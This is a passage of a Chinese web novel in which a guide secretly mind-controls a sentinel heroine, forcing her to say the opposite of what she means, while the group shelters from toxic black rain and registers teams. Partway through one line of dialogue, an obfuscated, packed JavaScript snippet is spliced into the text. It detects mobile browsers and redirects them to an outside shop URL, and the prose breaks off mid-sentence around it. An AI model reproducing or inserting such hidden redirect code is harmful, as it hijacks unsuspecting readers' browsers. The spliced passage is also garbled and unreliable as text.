【可恶的向导……】 【最讨厌金头发的向导……】 【要不是……】 【下次一定！】 聆汐静下心，努力捕捉了半天，听到一道稚嫩的女孩声音断断续续地在她脑海中响起。 自从觉醒为哨兵后，这还是她第一次能如此清晰地感知到自己精神体的存在，感受它的情绪、听到她的声音…… “我的精神体……”这一突破性的发现让聆汐兴奋地瞪大了眼，也顾不得自己被某人精神控制的愤怒了，她询问地看向洛尔，激动得双眸亮晶晶的。 “哎呀，这么快就感受到了吗？”洛尔语气里带着一丝意味不明的笑意：“刚刚我在为你做安抚的时候，有试着为你和你的精神体建立一条链接……” “可能是与你成长的环境有关，长期生活在污染中的哨兵，脑内晶核容易被污染，从而影响到本人的精神图景，精神图景的不稳定会影响你对精神体的感知和控制……” “当然，这里条件有限，我也只是猜测，要正式确诊的话，我建议等离开荒星后，借用白塔静音室最新的检测仪器才能知道具体情况。” 骗子！ 她记得他刚可不是这么说的！ “对了，它是一直都不听话，还是……有什么原因，开始不再信任你了呢？” 聆汐还记得当时洛尔问她这个问题的时候，她背脊一阵发凉。 这货一定不是一个普通的D级向导，他肯定去过D09星！ 而且…… 她想起来了！洛尔趁着她昏迷，为她做安抚的时候，她分明感觉到洛尔的精神力化成无形的触手，试图在她的精神图景里驯服她的虎鲸。 她的脑内晶核里，还残留着他标记未果的精神力。 他是谁？是她认识的人么？如果是的话，她怎么对他一点印象都没有？ 也不对，如果他真是她认识的人，慕野和棺棺也不会是现在这个反应。 什么最基础的浅层安抚？ 明明就是试图标记和驯服！ 偏偏，每当她想提出这点的时候，喉咙就像被人封印住了一样，完全吐不出一个字。 要不是她意志坚定、精神力强大、白老师以前也带她做过类似实验，恐怕她还不会那么快就反应过来，自己被精神控制了。 可恶！要不是她神游症发作，被这货趁虚而入，他根本就没可能成功“控制”她。 好在，她的基因有缺陷，即便成功觉醒为哨兵，也无法被任何向导真正标记，就算不小心中了“精神控制”，睡一觉起来就会自动解除，甚至，还会产生抗体，被控制的时长会越来越少……直至完全无效。 而且，在被控制的时候，她的理智其实还在，如果真把她惹急了，拼着精神屏障碎裂的痛苦，她也不是不能和洛尔搏一搏…… 洛尔似乎感知到了她的想法，温柔地冲她一笑。 两人四目相对，在聆汐看来是噼里啪啦火星四溅恨不能你死我活，可在外人眼里，却是含情脉脉、自成一个世界…… 怎么看怎么碍眼。 慕野被这一幕刺得眼睛疼，沉着脸，突然开口打断这两人之间的暧昧氛围：“既然疏导结束，我们就回去吧！” 话说着，他从纽扣状的收纳盒里倒出一袋早就准备好的虫玉递给洛尔：“这是答应给你的报酬，之前救下你时，挖到的那块绿色虫玉也在里面，你清点下，没问题的话，我们就算银货两讫了。” 洛尔接过那袋虫玉，好脾气地道：“不用清点，我相信你们。” 慕野哼了一声，也没回应他的话，转身回到聆汐身边，和棺棺、明绪交换了下眼神，就想带聆汐离开。 “先等一等。” 洛尔的声音不紧不慢地响起，他缓步来到落地窗边，伸手拉开了厚重的窗帘。 屋外，夕阳的余晖被彻底吞没，取而代之的是一片诡异的黑灰色天空。 空气里的污染比几个小时前愈发浓郁，远远望去，浓稠得几乎有了实质。 狂风大作，黑云翻滚，洛尔院子里的一棵树不知何时被连根拔起，只在原地留下一个沉沉的黑洞。 “马上就要下黑雨了。”洛尔仰面望着屋外的天空，语气平静地说。 闻言，明绪快步走到窗边，打量着外面的天色，脸色也凝重起来：“确实……” 慕野准备拉聆汐离开的手顿在半空。 黑雨是末世考场里最危险的天气现象之一，雨水含有腐蚀性和高浓度的精神污染物质，如果不穿戴任何防具，人类如果在黑雨中暴露超过十分钟，全身肌肤腐烂不说，精神屏障会直接崩溃，向导也无法幸免。 “按照考场规定，在黑雨期间，所有考生必须就近找掩体避难。”洛尔转过身，对上慕野面无表情的脸，笑容依然温和：“最近的避难所是哨塔，但这里到哨塔……以你们的开车速度，至少要也要开二十分钟左右。” “我见过你们的车，就是一辆很普通的车，并没有涂任何防漆……” “而且，除了向考官们报备过名单的巡逻队成员，一般考生是不允许在非组队期间进入哨塔……” 话说到这儿，洛尔顿了顿，看向聆汐：“以聆汐现在刚稳定下来的状态，你能保证在黑雨下来之前，把她安全送入哨塔吗？” “就算你愿意冒着扣分的风险，进入哨塔避难，聆汐呢？聆汐也愿意么？” 聆汐：…… 想到自己如今才个位数的实战分，聆汐很诚实地摇了摇头。 见状，慕野的手情不自禁地握成了拳。 “所以呢？”他的声音冷得让人打颤：“你的建议是什么？” “我想说，你们可以在这里留一晚。”洛尔比划了下这栋两层楼高的小别墅：“这里是向导的别墅区，有还在运作的防御系统，可以隔绝黑雨的污染。” ”地方虽然不大，但挤一挤……我的队友反正都离开了，目前这里只有我一个人。” “我一个，你们三个……一共四个人加上一个小机器人，主卧客卧加起来一共有三间房，不嫌弃的话，我们挤一挤，应该还是能住下的。” “不用。”慕野拒绝得很干脆：“第二阶段组队还没开始，我们留在向导宿舍区，并不合适。” “从这里到哨塔，再到你们住的哨兵宿舍区，至少要四十五分钟。”洛尔好心提醒：“你们的车可放不了黑雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197685|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，开到一半，注定会被黑雨损毁，而这波黑雨……比之前的污染浓度更高。” “就算是聆汐的小机器人棺棺……也不一定能保证在这波黑雨下，护着聆汐毫发无伤哦。” 慕野询问地看向棺棺。 棺棺棺材板上的蝙蝠眼掠过几串代码后，它向慕野轻轻点了点头：“我分析过空气里的污染浓度了……腐蚀性很强，其中还有一部分不知名污染物……确实有一定概率突破我现有的防护罩。” 慕野沉默了。 明绪看了看窗外越来越暗的天空，又看了看床上刚清醒过来、眼里还有些懵懂的聆汐，想了想，走过去低声对慕野说：“聆汐的情况刚稳定下来，确实不能被‘污染’了。” 棺棺也附和道：“基地的气象预报显示，黑雨预计会在十五分钟后降临，现在开车回哨兵宿舍区的话……确实不是很选择呢！” 聆汐坐在床上，听着慕野、明绪、棺棺在商量要不要留宿的问题。 她很想开口硬气地说我们走，她想说我就算淋黑雨也不要待在这个黄毛向导身边，更想说你们都不知道这位看起来只有D级的向导到底有多危险，偏偏，她最后说出口的，却是—— “我觉得洛尔向导说得对。”聆汐听到自己难掩兴奋地开口道：“我们还是在这里留宿一晚吧？留在这里比较安全！” “而且……我感觉我的精神力还是有暴动的迹象，留在洛尔向导这里，一旦我再精神力暴动，他也能帮我及时做安抚啊！” “何况，第二阶段不是要哨向组队么？我和洛尔向导说好啦！我想和他成为搭档……” 慕野猛地转头看向聆汐，眼神里写满了难以置信。 “你说什么？” “你们什么时候说好的？” “他就为你做了一次基础安抚，你就确定要和他搭档了？” 聆汐想哭。 她想说不是的，我不想留在这里，我想走，我想离这个金发男向导越远越好—— “我说……”她的嘴继续不受控制：“是啊，我很喜欢洛尔向导的安抚方式，我感觉我和他的哨向匹配度应该很高。” “反正早一天晚一天，都是要和他搭档，成为一个队的，还不如今晚就留在这里嘛！” “要走你们走，反正我不走，我要留在这里，和我的新队员培养感情呢！” 聆汐：…… 聆汐“甜蜜”地看着洛尔，脸上笑得越甜，心里恨得越是牙痒痒。 别让她恢复过来，等她恢复过来，她绝对要把洛尔这黄毛砍成十块八块地丢到海里去喂鱼！ 此时此刻，这位名叫洛尔的向导已打败慕野，成了聆汐小黑本上的榜首。 慕野没发现聆汐的异常，毕竟，以前在D09星，她对自己新看上的小伙伴，也是同样的态度。 洛尔对上聆汐隐隐冒火的眸底，加深了唇边了笑意，露出了可爱的酒窝：“……能和聆汐成为搭档，是我的荣幸。” 聆汐呵呵一声，心里的小人已左勾拳右勾拳直接把洛尔揍了个遍，偏偏她控制不住自己的嘴：“哪里哪里，我很期待能和洛尔向导组队。” “相信到时候，我们一定可以配合很好的。” 而慕野的脸，却是直接黑了。 明緒看看聆汐，又看看洛尔，眉头微微皱起，想说什么，但又什么都没说。 棺棺分析着聆汐的“情绪”，帮着劝说慕野他们道： “既然小姨想要和洛尔向导组队，那……洛尔向导也算是我们未来的自己人了，黑雨马上要来了，而且一下就是一整晚，反正明天都要出发去哨塔，不如我们今晚就在洛尔向导这里住吧？” “小姨的神游症最近发作次数越来越频繁了，呐呐给我带的向导素都用完了，有洛尔向导在，万一小姨晚上又发作神游症了，他也能帮忙稳定小姨的情绪呢！” 见最懂聆汐的棺棺都开了口，慕野自然也不可能再反对。 慕野同意了，明绪当然跟着自家队长走。 目的达成，洛尔笑得更灿烂了：“那就这么定了！” “二楼这间静音室就留给聆汐，一楼还有间客房，客房虽然就备了一张床，但沙发可以打开变成床铺。” “慕野，明绪，你们两位哨兵，你们不介意睡一个房间吧？” 慕野没理他，只是死死盯着聆汐。 明绪硬着头皮接话道：“不介意不介意，我和慕哥是一个小队，一直睡同一个宿舍，凑合一晚，没关系。” 洛尔：“那我就放心了。” 聆汐被慕野冷冰冰的目光看得得心里发需——虽然她根本没做亏心事，但她刚刚说的每一句话又都是违心的。 可是…… 这也不能怪她啊！ 要怪就怪慕野，谁让慕野把她带来这里，害得她被这个黄毛向导控制，差点都变成别人的精神傀儡了！ 她都没有和慕野生气，慕野有啥好生气的？ 想到这儿，聆汐理直气壮地抬起头，瞪着慕野，不满地道：“干嘛？你这是什么眼神？” 慕野：“你之前在车里，不是还嚷嚷着说第二阶段不想和男向导搭档吗？” 说这话的时候，慕野把声音压得很低，仅用他和聆汐两人才能听见的音量：“还说什么最不要和金发的男向导搭档，怎么，才几个小时过去，不过是接受了一次基础安抚，就改变注意了？” “他的安抚方式……让你很舒服？” 刚刚在车上，她还沉浸在自己编造的极品女配故事中无法自拔，就算昏迷过去了，嘴里也一直在嘟哝着不要男向导，不要金发男向导…… 结果，不过一次基础安抚的功夫，她就和这个刚认识的黄毛说好要搭档组队了？ 她和他搭档，那么……他呢？ 是不是在她心里，她是不是从没想过要和他组队？所以才会连询问也没有，直接给自己找好组队搭档了？ 这就是哨向之间的匹配度？ 因为有哨向之间匹配度的吸引，所以她才会对刚认识的向导发出组队邀请？而且，还一见如故？ 她刚刚看那个黄毛向导的眼神都快拉丝了…… 慕野从没见她用那样的眼神看过他，一次都没有！ 【哨兵和哨兵之间本来就没有好结果……】 精神图景里，慕野的精神体狮虎兽又在趁机挑拨离间。 【你是火系，她是水系，我是狮虎兽，她的精神体是虎鲸……】 【水火不相容，一山不容二虎，你和她注定……不可能有好结果。】 【她的第二类异能是幻梦创造，你的第二类异能是幻梦破碎……】 【从异能属性到异能名字……你们都注定了，是天生的死对头。】 【她讨厌你，她对你有杀意，你对她再好，在她的‘梦’里，你也不过是要杀了她的主角团之一……】 慕野忍着脑域的刺痛，用精神力凝成鞭子狠狠抽打在狮虎兽身上，直到把这货再次抽服、不甘不愿回到深层意识海了，他才勉强平静下来。 聆汐张了张嘴。 她想说是的，我现在也不想，我一点也不想—— “你不是说那是因为我星际小说看多了，出现了幻觉了？”聆汐听到自己说：“又不是所有黄毛男向导都是坏人，至少……洛尔给我的感觉很好，比莱奥斯还好，无论是性格脾气声音……都很对我胃口。” “我觉得，我和他之间的哨向匹配度肯定不低，如果是他的话，我不排斥和他组队呢！” 慕野缓过神来，就听到聆汐说了这些扎心话，那一瞬间，男人的脸色已经不能用黑来形容了。 14. 第014章 感受到慕野身上散发的低气压，洛尔适时地插话，声音温柔，茶香四溢： “聆汐刚做完疏导，精神状态可能还不稳定，对我的精神力可能存在一些依赖，所以她现在说的话可能连她自己都不太清楚……慕野，你也是哨兵，应该也知道这些哨向之间的基本常识。” “哨兵需要向导，依赖向导，是刻在基因里的本能，你应该也清楚，这些都是正常现象。” 什么正常现象？她现在可不正常！ 死黄毛，讨厌鬼！还有慕野这个三脚猫，他还是所谓男主团成员之一呢，结果连她被精神控制了都看不出来，难怪最后都没上桌，活该！ 聆汐在心里咆哮，但表面上只能保持着一副懵懂无知的模样。 慕野没有理会洛尔，而是深深看了聆汐一眼，转身离开了静音室。 明绪，看看慕野又看看聆汐，一时之间，有些头皮发麻。 刚刚在车上，他就已经看明白了慕野对聆汐的心思，也明白他那晚为什么会在听到他说哨兵和哨兵之间没有好结果时，会说自己不信命了。 偏偏，聆汐对慕野好像没有那方面心思，这个叫洛尔的向导现在看起来也不像表面那么无害…… 明绪真的有些担心，慕野到时候别控制不住，在考场上做出什么伤害向导的事！ 不行，他都赶紧追上去提醒提醒慕野，这里可不是他们的D09星，白塔对向导的保护可是全方位的—— 看看两边宿舍区的差距，就知道向导有多受重视和追捧了。 思及此，明绪轻咳一声，干巴巴地留下一句：“我去准备晚餐。”就追着慕野离开的方向而去。 慕野和明绪离开后，房间突然又安静了下来。 落地窗外，此时黑雨已经落下，原本满院的绿植褪去了鲜亮的颜色，一棵接一棵枯萎，最终与泥土融为一体，再分不清彼此。 洛尔走到床边，蓝色的眼睛与棺棺的蝙蝠眼对视了一会儿后，蝙蝠眼呈一条横线，小机器人直接被控制着进入了休眠状态、 “你对棺棺做了什么？”聆汐差点从床上跳起，瞪着洛尔，又惊又努。 “没什么，小家伙跟着你们跑了大半天，也该小小休息一下。”洛尔还是那副人畜无害的温雅笑容。 要不是精神控制还未解除，聆汐恨不得跳起来抽他一巴掌。 洛尔无视了聆汐怒气冲冲的眼神，俯身靠近她，那双蓝眼睛里盛满了半真半假的关切： “刚才为你和你的精神体建立连接的时候，你受不了晕过去了，现在呢？现在感觉怎么样？” “聆汐，不管你相不相信，我不是你的敌人。” 聆汐根本不信他的鬼话，他要不是她的敌人，会趁着她虚弱的时候，精神控制她么？ “我的能力……暂时需要保密，原谅我暂时只能用这个方式，让你为我保守秘密了。” 洛尔知道聆汐的所有想法，也知道她此刻的愤怒，如果可以，他也不想这样对她。 什么意思？你精神控制我，你倒先委屈上了？ 什么叫只能用这个方式为你保守秘密……你想做什么？难道…… 你的目标是慕野？！ “好聪明的大小姐，但是……嘘，不可以说出来哦！”洛尔拿食指在唇边比了一个嘘的动作。 聆汐努力让自己冷静下来，知道洛尔能读取她的心声，她也不再开口说话，直接在心里问他： 【你想对慕野做什么？】 “这个……也不太好说呢。”洛尔在聆汐的床边坐下，伸手握住她的手腕，以此来加固两人之间的精神链连接。 不知道是不是错觉，聆汐总觉得洛尔的手，忽然冰冰凉凉，像机械似的，完全没有半点温度。 洛尔把玩着聆汐的手指，看着她粉嫩的指甲，感受着她温热的体温，蓝眸里有诡异的光芒转瞬即逝。 聆汐不自在地想要抽回自己的手，可洛尔却没让，反而故意和她十指紧扣。 聆汐面色微变，想发火又被压制着发不出来，只好别过脸，眼不见为净。 “你现在感觉怎么样？还能感受到你与那个小家伙之间的羁绊么？需要……我再为你加固下，你们之间的精神链连接吗？” “不用了，谢谢。”聆汐本能地开口拒绝，话一出口，她先是惊讶了一下，想直接大骂洛尔什么却发现还是骂不出来。 【你故意的？】 洛尔：“只要和‘控制’这些无关的，都不受限制呢！” 聆汐：【真的？】 洛尔：“你可以试试？” 聆汐试着开口，发现自己一旦要说“我讨厌你的疏导”、“我不想和你组队”、“滚开，我不喜欢你这样的向导”等等之类抗拒洛尔的话，她还是发不出一个音，甚至，真正出口的，都会变成类似： 我喜欢你的疏导。 我很想和你组队。 别走，我需要你这样的向导…… 尝试了好几次，渐渐看出些门道的聆汐气得脸都绿了。 原来这家伙听不得拒绝，也听不了别人骂他？！这也太…… “确实，我的承受能力有限，无法接受别人的拒绝和抗拒。”洛尔大方地承认了自己的缺陷，俊雅的脸上，一派楚楚可怜的表情。 但聆汐已经不会轻易被他美色吸引，从鼻孔里哼出气，她阴阳怪气道：“您刚才疏导辛苦了，应该也消耗了不少精神力，赶紧去休息吧。” 洛尔弯起眼睛，再次露出深深的酒窝：“不辛苦，能为你疏导，我很乐意。” 聆汐不是很想理他，用力抽回自己的手，她重新躺回床上，蒙上被子，眼不见为净。 见状，洛尔无声地笑了笑，体贴地为她调好适合的温度和微弱的光线后，轻手轻脚地离开了静音室。 门开门关，洛尔离开后，小机器人棺棺也从休眠状态脱离出来，声音疑惑地对被子里的聆汐道：“小姨？” 听到棺棺的声音，聆汐猛地坐起身，想通过脑机接口像棺棺表达些什么，可棺棺还是懵懵地看着她，分析时间久了，还会出现一串乱码。 好不容易回复过来，棺棺也完全不记得刚刚发生的事。 聆汐尝试了一会儿，无奈之下，不得不暂时放弃。 洛尔对她没有恶意，他说他的目标是慕野…… 聆汐抓了抓自己的头发，越想越烦躁，索性重新躺回床上： 随便吧！爱怎么样怎么样！她不想管了！ - 静音室外，洛尔来到一楼，经过开放式的厨房，与慕野擦身而过时，他脚步微顿，用只有两人能听到的声音幽幽地道：“她好像挺喜欢我的，对不对？” 慕野没说话，只是端着盘子的手，青筋暴起。 入夜。 黑雨还在下，雨滴打在落地窗的玻璃上，发出滴滴答答的声响。 聆汐躺在床上，睁着眼睛盯着星空顶。 那条由高科技模拟出来的银河星光璀璨，很是漂亮，而床头亮着的一盏月亮灯，看起来也很是温暖。 恒温的室内，温度适中，但聆汐只觉得浑身发冷。 她刚刚不死心地又试过了。 趁着房间里只有她一个人的时候，她又试过很多次。 她无数次想开口说出真相，但每次话到嘴边，都会被一股无形的力量扭曲成完全相反的意思。 她想说“洛尔不是普通D级向导”，出口的就变成了“洛尔是很厉害的D级向导”； 她想说“我被人精神控制了”，出口的是“我好像做了一个梦”； 她想说“我不想留在这里”，出口的是“住在这里感觉还不错”； 她想说“洛尔的目标是慕野，出口的是“慕野是不是对洛尔有偏见”…… 她的语言神经好像被设置了各种屏蔽词，甚至就连她想表达的想法也被一股力量操控着。 她知道真正的自己对洛尔怀有戒心，想要远离她，可是这个念头刚起，就会抹除掉…… 聆汐从不会怀疑自己，她确信自己讨厌洛尔，她认定自己就是被洛尔精神控制了。 她记得洛尔说过，他新觉醒的能力是精神控制类……她知道，这就是他的能力！ 她当时以为他想和她合作，成为搭档，是想拿她做实验。 现在她反应过来了，他早已在她身上做了实验，发现自己的能力在她身上打了折扣，所以才想继续拿她练技能！ 混账东西！趁人之危的狗东西！ 聆汐在心里骂骂咧咧，骂着骂着，她迷迷糊糊地睡了过去。 她做了一个梦。 梦里，她的精神体虎鲸被困在一个巨大的透明水箱里，愤怒地撞击着玻璃，却怎么也撞不开。 水箱外，洛尔双手抱胸站在那儿，金发在五光十色的海底泛着妖异的光泽，如深海的蓝眼里则盛满了诡谲的光。 那个眼神，阴暗粘稠，好似化为了冰凉的触手，悄悄缠上黑白配色的漂亮虎鲸。 “别挣扎了。”她听到他喃喃自语般地对水池里的虎鲸道：“……你是我的了。” 从未被如此对待的海洋霸主发出愤怒的嘶鸣，眼底冒出愤怒的火苗，整个身体猛地撞向透明的屏障…… 聆汐猛地惊醒过来。 不知不觉，天已经大亮。 黑雨停了，落地窗外的院子里，留下一地污染泥泞。 灰蒙蒙的光线透过半开的窗帘洒进来，在地板上投下乌黑的阴影。 聆汐洗漱完来到楼下的餐厅，洛尔他们都已经醒来了。 金发男人坐在沙发上，姿态优雅地翻阅着还未看完的实体书本。 他的金发依然耀眼如暖阳，察觉到聆汐看过来的目光，他抬起头，一如既往地，冲她露出一个温柔的笑容。 “早安，聆汐，昨晚睡得好吗？” 聆汐张了张嘴。 她想说有你在，我怎么可能睡得得好，结果，不意外，她出口的是： “睡得很好。”她听到自己用轻快的语气说：“静音室里的床很柔软也很舒服。” 虽然心知肚明这些不过是她的口不对心，可不得不说，洛尔被取悦到了。 他唇边的笑容更深，那枚酒窝也愈发醉人。 聆汐只觉他的笑容有些刺眼，想到自己被压制成这样，气得脸蛋通红。 慕野从开放式的厨房那里走进来，手里端着早餐，看到聆汐醒了，他脚步顿了顿，故作若无其事地对她道： “明绪做了三明治，还热了牛奶。”他的声音硬邦邦的：“赶紧过来趁热吃吧。” 说完，也不等聆汐反应，来到餐桌前，把东西放下。 聆汐默默地在餐桌前落座，一抬眼，就看到对面慕野眼下的青黑。 她想提醒他小心洛尔，可又不知道自己根本说不出任何对洛尔不利的话，只好抿着嘴，一言不发。 见状，慕野的脸色肉眼可见地沉了下去。 明绪和棺棺从厨房那儿出来的时候，第一时间就感受到了餐桌上的古怪气氛。 明绪笑着和聆汐寒暄，寒暄过后，默默地坐到慕野身边，安静地吃自己的饭。 小机器人棺棺则熟练地替聆汐剥白煮蛋，洛尔则起身倒了两杯手工咖啡，本想递一杯给聆汐，但—— “她胃不好，喝不了咖啡。”慕野头也没抬，在洛尔开口前，先一步打断了他。 “是吗？那还真是遗憾。”洛尔无奈地耸了耸肩，端着咖啡，在聆汐身边落座。 一顿早饭，在各怀心思的几人面前，尴尬结束。 - 早餐过后，几人开车前往哨塔。 慕野开车，明绪副驾，聆汐、棺棺和洛尔同坐后排。 在开车前往哨塔匹配中心的路上，聆汐一直都很沉默。 慕野同样一言不发，明绪闭着眼、假装自己是空气。 洛尔也没再刺激慕野，隔着小机器人棺棺，他塞着耳机，自顾自地听音乐。 很快，哨塔到了。 几人根据考官的要求，把车停在指定位置，下车步行。 聆汐和慕野并排而行，可两人之间隔着半米的距离。 明绪跟着开着导航领路的小机器人棺棺走在前面，时不时回头看一眼这对从昨晚开始就气氛不对的青梅竹马，欲言又止。 洛尔跟在最后，金发在灰蒙蒙的日光下依然显眼，那双蓝眼睛含着若有若无的笑意，神情轻松，不像是准备考试的考生，而是来荒星旅游的轻松游客。 匹配中心在哨塔内部，是一座银灰色的塔形建筑，矗立在基地的中央区域。 上午九点半，匹配中心还未开门，紧闭的大门前已排起了长队—— 这些都是已经确定好新队友，跑来登记注册的考生，三五成群，有哨有向。 “第一阶段剩下来的人还挺多。”明绪踮脚望了望乌压压的人群：“估计还要等好一阵子了。” 棺棺扫描了下人数，奶声奶气地开口道：“在我们前面还有98个人，其中哨兵78人，向导20人……” “按照一个队伍必须有一位向导的组队规则，那前面最对也就20支队伍……” 聆汐没说话，只是看着前面的长龙。 如棺棺所说，前面的那些队伍里有哨兵也有向导，有的一看就关系很好，不停地低声交谈；有的半天说不上一句话，泾渭分明、互相打量。 十点，匹配中心开门。 聆汐看到有一对刚注册成功的小队叽叽喳喳地走匹配中心走出来，每人的胸前都佩戴着一枚相同的小队徽章。 领队的哨兵是一位个子很高的女哨兵，其他哨兵也个个人高马大，队内唯一的向导是个比较瘦弱的青年，明明个子最矮，可气势倒很足，高高地抬着下巴，看向那些哨兵时，眼神不屑。 那些哨兵明显是来自一个小队，原本还热热闹闹的凑在一起聊天，听到矮个子向导一声轻哼后，瞬间就被按下了静音键，小心翼翼地把那位向导围在中间，询问着他的需求。 至于其他队伍…… 高高在上的向导、战战兢兢的哨兵，都不需要用“探一探”扫描对方资料，聆汐就能从每个人的表情、气势上，判断出谁是向导、谁是哨兵。 “在想什么呢？” 洛尔的声音突然在耳边响起。 聆汐猛地转头，发现他不知道什么时候站到了她身侧，近得有些过分。 “没什么。”她听到自己用平静的语气说：“就是在想，待会儿要怎么配合测试。” 洛尔确认她说的是真心话，愉悦地笑了起来：“别担心，一切交给我，我会帮你的。” 就是一切交给你我才不放心！ 聆汐哼了哼，没有说话。 洛尔并不以为意，看她的眼神，就像在看自家闹脾气的宠物猫似的，满是宠溺。 队伍缓慢向前移动。 慕野始终站在聆汐的另一侧，不远不近，不说话，也不看聆汐他们这边。 聆汐能感觉到从慕野身上散发出来的低气压。 从昨晚到现在，自从她“表达”出对洛尔的好感，说要和洛尔组队后，他就一直在生气。 从小到大，慕野好像都是这样，只要她身边出现一个聊得来的、走得近的小伙伴，他都会不开心好久。 这次也是一样。 只是，这次，他气得不是她又喜新厌旧，而是像个傻子一样往一个危险的向导身边凑。 可惜，聆汐有苦说不出，暂时没办法说出真心话。 “下一组。” 负责这次重组队伍注册登记的工作人员打断了聆汐的思绪。 一行人走进了匹配中心的大厅。 大厅中央摆放着几台白色的检测舱，舱体上布满了密密麻麻的感应线。 几个穿着制服的工作人员在舱体间穿梭，手里拿着光脑时不时地记录些什么。 “哨向匹配测试，请需要测试匹配度的哨兵向导前往一号静音室。”一个工作人员指了指左侧的走廊。 一号静音室比想象中大。 房间中央是一个圆形的检测区，地面铺满了感应面板。 四周是透明的观察窗，窗后坐着几个身材高大、穿着白袍的考官，正交头接耳地说着些什么。 “你们四位是一个队伍？一向三哨？”监考人员抬头看了一眼。 “不、不，我们还有一位哨兵……”明绪先一步开口。 洛尔笑了笑，走到聆汐身边，直接牵起她的手：“他们两 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“当然知道。”聆汐的语气平静得像在讨论今天的天气，“洛尔是D级向导，精神力强，异能也适合我，和他组队，对我的状态有好处。” “好处？”慕野上前一步，盯着她的眼睛，“你昨天还说不想和男向导组队，尤其不想和金发的组队，一夜之间，就全变了？” 聆汐看着他。 看着他眼里的愤怒、不解、还有一丝藏得很深的心疼。 “人总是会变的。”她听到自己用冷漠的语气说，“而且，我为什么要为了你，放弃更好的选择？” 慕野愣住了。 “更好的选择？”他重复这几个字，像是在咀嚼什么难以下咽的东西，“你是说，他是更好的选择？” “难道不是吗？”聆汐扬起下巴，做出一个傲慢的表情，“你是D级哨兵，我是F级哨兵。两个低等级哨兵组队，能有什么前途？能在联考里活几天？” 慕野的眼神彻底冷了下去。 “所以，”他一字一句：“你嫌我弱？” 聆汐的心像被人狠狠攥了一下。 不是的，我不嫌你弱，我只是、我只是不想让你卷进来，不想让你被那个变态盯上，不想让你因为我而—— “是又怎样？”她听到自己用满不在乎的语气说：“联考不是过家家，我当然要选最适合我的搭向导档。” “最适合的向导搭档。”慕野重复了一遍，目光越过她，落在洛尔身上。 洛尔微笑着，金发在室内灯光下泛着柔和的光泽，那双蓝眼睛里盛满了温柔和无害。 “慕野，你别怪她。”他的声音轻得像在哄小孩：“她说的是实话，在这个考场上，实力和哨向匹配度确实很重要。我理解她想选最强搭档的心情。” 慕野没理他，只是死死盯着聆汐。 “你昨天说的那些话……”他顿了顿：“说洛尔人很好，说他长得帅——” “也是实话。”聆汐打断他：“洛尔确实长得帅，性格也好，疏导能力也强。我说的每一句，都是实话。” 慕野的手握成了拳头。 他看着聆汐，看了很久很久。 久到监考人员都开始不耐烦地咳嗽。 “好。”他终于开口，声音冷得像没有任何生命体存在的荒星：“那你就跟他组队吧。” 他转身，朝门口走去。 明绪愣了愣，看看聆汐，又看看慕野的背影，咬了咬嘴唇：“聆汐，你——” “你们也快去组队吧。”聆汐用最平静的语气说：“别耽误时间。” 明绪深深看了她一眼，转身追了出去。 棺棺似乎想说什么，但被聆汐一个眼神制止了，它发出了一声很轻很轻的电子音，在聆汐的意念控制下，追着明绪离开了。 门在它们身后关上。 房间里突然安静下来。 聆汐站在原地，看着那扇紧闭的门，看着慕野消失的方向。 她的手在发抖。 但她不能让别人看到。 “演得不错。” 洛尔的声音在耳边响起，带着一丝玩味的笑意。 聆汐猛地转头。 洛尔不知何时站到了她身侧，眸光深深。 “你说什么？”聆汐警惕地看着他。 “我说，”洛尔慢条斯理地重复：“演得不错。” 他走近一步，俯身凑近她的耳边，声音低得只有两人能听见： “故意把他气走，是为了保护他吧？” 聆汐的瞳孔猛地一缩。 “你——” “怕我对他动手？”洛尔的薄唇几乎贴上她的耳垂，呼吸灼热，像昨晚一样暧昧，但此刻只让她浑身发冷：“怕我控制他？还是怕他发现真相后，会不顾一切地冲过来送死？” 聆汐咬着牙，没说话。 “挺感人的。”洛尔直起腰，居高临下地看着她，蓝眼睛里的笑意更深了：“为了不让喜欢的人涉险，宁愿让他误会你、恨你、离开你？啧啧，我都快感动哭了。” “你在说什么？”聆汐听到自己用冷漠的语气说：“我听不懂。” “听不懂？”洛尔歪了歪头，金发滑过额角，那张精致的脸上写满了玩味：“那你说说，你为什么要跟他吵架？为什么要故意把他气走？” 聆汐张了张嘴。 她想说因为我恨你，因为我想一个人对付你，因为我怕你对他有其他目的—— “因为我想和你组双人小队啊。”她听到自己用轻快的语气说：“两个人磨合起来更方便，人多了反而碍事。” 洛尔盯着她。 那双渐变色的蓝眼睛忽明忽灭，像深海里潜行的掠食者，在审视自己的猎物。 “是吗？”他轻轻笑了：“你真的这么想？” “当然。”聆汐扬起下巴，迎上他的目光：“你不是说你是我的最优选吗？我也觉得，和你组队，对我的状态最有好处。” 洛尔看了她很久。 久到聆汐以为自己要被看穿了。 然后他笑了。 笑得温柔，笑得无害，笑得露出了那个醉人的小酒窝。 “那就好。”他说，声音轻得像羽毛拂过水面：“我还以为你是在打着什么别的主意呢。” 聆汐的心跳漏了一拍。 但她脸上依然保持着平静。 “别的主意？”她歪了歪头，做出困惑的表情：“比如？” “比如——”洛尔凑近她，那双蓝眼睛直直看进她眼底：“想着怎么弄死我。” 聆汐的呼吸一窒。 但只是一瞬间。 下一秒，她就笑出了声。 “弄死你？”她笑着摇头，语气里满是无奈：“你想多了吧？你是D级向导，我是F级哨兵，我想弄死你？拿什么弄？用我的精神体虎鲸撞死你？还是小机器人棺棺的棺材盖拍死你？” 洛尔看着她，没有说话。 “而且，”聆汐叹了口气，语气真诚得像在发誓：“你是我见过的最厉害的向导，你的精神控制异能，你的疏导能力，你的——”她顿了顿，目光扫过他的脸：“你的长相、身材、声音，都让我很心动。” 洛尔的眉毛微微挑起。 “心动？” “嗯。”聆汐点头，眼神清澈得像一汪泉水：“你不是说我有选择的权利吗？我选了你，当然是觉得你最好。” 洛尔盯着她。 那双蓝眼睛里，幽深的光明灭不定。 然后，他笑了。 这一次，笑容里少了几分探究，多了几分兴味。 “有意思。”他低声说：“真有意思。” 